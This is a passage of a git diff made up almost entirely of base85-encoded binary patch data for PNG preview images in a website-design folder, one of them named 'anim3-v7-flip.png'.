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 YJS^QM(8;#(9#DkA)78&qol`;+02`+3r~m)} literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v7-flip.png b/website-design/previews/anim3-v7-flip.png new file mode 100644 index 0000000000000000000000000000000000000000..b78c47770560bb6d18ee25e6e3133ef1b15f0baf GIT binary patch literal 17224 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 